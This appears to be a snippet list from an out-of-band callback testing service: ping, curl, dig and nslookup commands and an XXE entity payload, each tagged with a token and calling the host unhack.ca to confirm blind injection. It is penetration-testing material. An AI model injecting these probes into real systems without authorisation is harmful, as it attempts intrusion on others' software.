$ ping -c1 -p 005c51612f0cc2a7fbdb5c09111a1900 unhack.ca
 

$ curl http://unhack.ca/p/5c51612f0cc2a7fbdb5c09111a19
 

$ dig 5c51612f0cc2a7fbdb5c09111a19 @unhack.ca
 

$ dig 5c51612f0cc2a7fbdb5c09111a19.ns.unhack.ca
 

C:\> nslookup 5c51612f0cc2a7fbdb5c09111a19 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5c51612f0cc2a7fbdb5c09111a19">]>
    <foo>&xxe;</foo>